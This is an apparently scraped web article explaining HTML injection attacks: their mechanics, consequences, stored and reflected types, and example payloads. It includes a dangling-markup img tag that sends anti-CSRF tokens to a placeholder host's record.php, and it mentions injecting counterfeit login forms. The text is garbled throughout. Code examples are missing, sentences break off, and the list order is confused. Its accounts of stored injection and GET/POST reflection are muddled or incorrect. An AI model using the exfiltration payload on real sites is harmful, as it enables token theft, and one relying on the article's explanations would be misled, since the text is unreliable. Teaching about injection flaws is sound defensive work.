HTML Injection - What is it?
This attack is a leading type of cyber vulnerability taking advantage of weak website components. Most of the web pages that we see today are created using HTML or Hypertext Markup Language and it decides how any of the web data will display to the users as they access a specific web page in the browser. Using the visualization commands of the web page, the language helps website developers decide how a web page will look in real time.
Presently, the webpages websites use are highly interactive and it’s often considered that the previous user actions impact the webpage content.
In case of unverified user inputs, the web pages or applications will be vulnerable to an attack.
Skilled hackers take advantage of this loophole and use inject HTML injections in those web pages. In this attack, bad actors fabricate inputs using which they successfully insert an HTML code into the user-generated response of an HTML-based application.
How Does HTML Injection Work?
Functionality-wise, HTML injection looks very similar to XSS attacks as they both follow the same delivery path The attack takes place when an ill-intended user or hacker inserts an HTML code in the unverified input and prompts the browser to consider it as an integral part of HTML language of the targeted webpage.
The prime target of this attack is the user. Web server is not a concern for HTML injection.
Speaking of the intent, HTML injection is planned mainly because of two goals:
- To modify the website appearance so that the website’s reputation is tarnished
- To snatch the identity of someone authorized
The attack is executed using the links and data input fields of the targeted website.
To bring this attack into action, hackers start identifying the weak HTML codes of websites and inserting an HTML injection. Mainly, website components like comments, search bars, and contact forms are used to insert HTML injection as these elements are used by a large crowd and are less likely to be of top-notch quality.
For instance, hackers can post an engaging comment and insert HTML code snippets that will redirect the commenters to a corrupted web page or will prompt them to download malware. Let’s explain the functionality of this attack with the help of a questionnaire form that most websites have to let their users properly forward their concerns and queries.
As a user fills out these questionnaire forms on any of the websites, details like concerns, name, email address, and phone numbers are shared. Upon submission of this form, an acknowledgment message is shared instantly. To users, this acknowledgment message will look like this:
The corresponding code for this message will be:
As the code is easy to edit and is highly vulnerable, hackers will have the hassle of inserting an HTML injection in the code.
Consequences of the Attack
When successful, an HTML injection attack can lead to multiple security concerns that include:
XSS attacks: HTML injection is one of the many techniques that threat actors use to plan an XSS attack on a set of users. With this, hackers can gain access to key information like user credentials and purchase passwords and use them to take harmful actions like extracting money from the bank account or stealing the passwords of important accounts.
Website defacement: Hackers use HTML injection to defame websites as they can modify the webpage content with this method. Threat actors can make the webpage display offensive content or even can make a website completely unusable.
Dispersal of malware: Hackers often use HTML injection or code injection techniques to distribute malware or viruses to the masses.
Loss of trust: When a website is unresponsive or displays inappropriate content, users won't feel comfortable accessing such a website. Hence, there will be a huge drop in user -engagement.
Types of HTML Injection
There are two HTML injection varieties that hackers use to plan an attack.
- Stored
The second HTML injection type is stored HTML injection and it involves storing the payload on the servers for future use. HTML codes are generated in bulk and stored on the server so that hackers can access them whenever they want. Hackers use this variety when they have to target multiple users in one go.
- Reflected
This method is the commonly used variety and it involves delivery of payload or HTML code to every target specifically. There is no bulk delivery. Hence, it may consume more time. But, it has a high success rate as the code is embedded into the webpage with more perfection.
Based on the HTTP method used, reflected HTML injection is further divided into three categories: reflected GET, reflected POST, and reflected URL. Reflected URL refers to the injection delivery via the URL of a website.
In the reflected GET injection type, data is requested while reflected request POST means data is delivered. Haceks often check the webpage source to learn which method is suitable for which website element.
For instance, threat actors inspect the login form’s source code to find out the appropriate injection method.
HTML Injection Example
Based on the purpose and intention of the attack, hackers can use multiple types of HTMLinjection payloads. Here are the examples of most commonly used HTML injection techniques.
- Exfiltrating sensitive user data
Accessing crucial information of specific users is another very common use case of this attack. Hackers introduce HTML injection payloads to a website form that is created to collect data like user name, email, and contact details.
Contact forms, questionnaires, and comments are some of the many examples of these types of forms. Hackers use these forms to plan an HTML injection attack as they enter a corrupted code in this form to prompt counterfeit login.
In the case of a URL-based webpage, hackers use tag to acquire sensitive data.
to hijack data. href='http://example.com/'> is the code that bad actors use to insert the respective URL of the webpage.
In addition to this, hackers also acquire fully validated HTML forms by inserting the tag before a verified tag.
- Exfiltrating anti-CSRF tokens
If hackers are planning an elaborated CSRF attack then they use HTML injection payloads to exfiltrate the anti-CSRF token that is delivered using the hidden input of a form.
Hackers need a non-terminated ![]()
tag to exfiltrate the token. For the success of this action, the tag must be featuring single quotes like <img src='http://example.com/record.php?.
It’s because of the single quote that the remaining content of the quote will be considered as the URL part. If double quotes are there, the hidden input will be forwarded to the threat actors in a highly controlled record.php script and will be recorded as:
Alternatively, cyberpunks can use
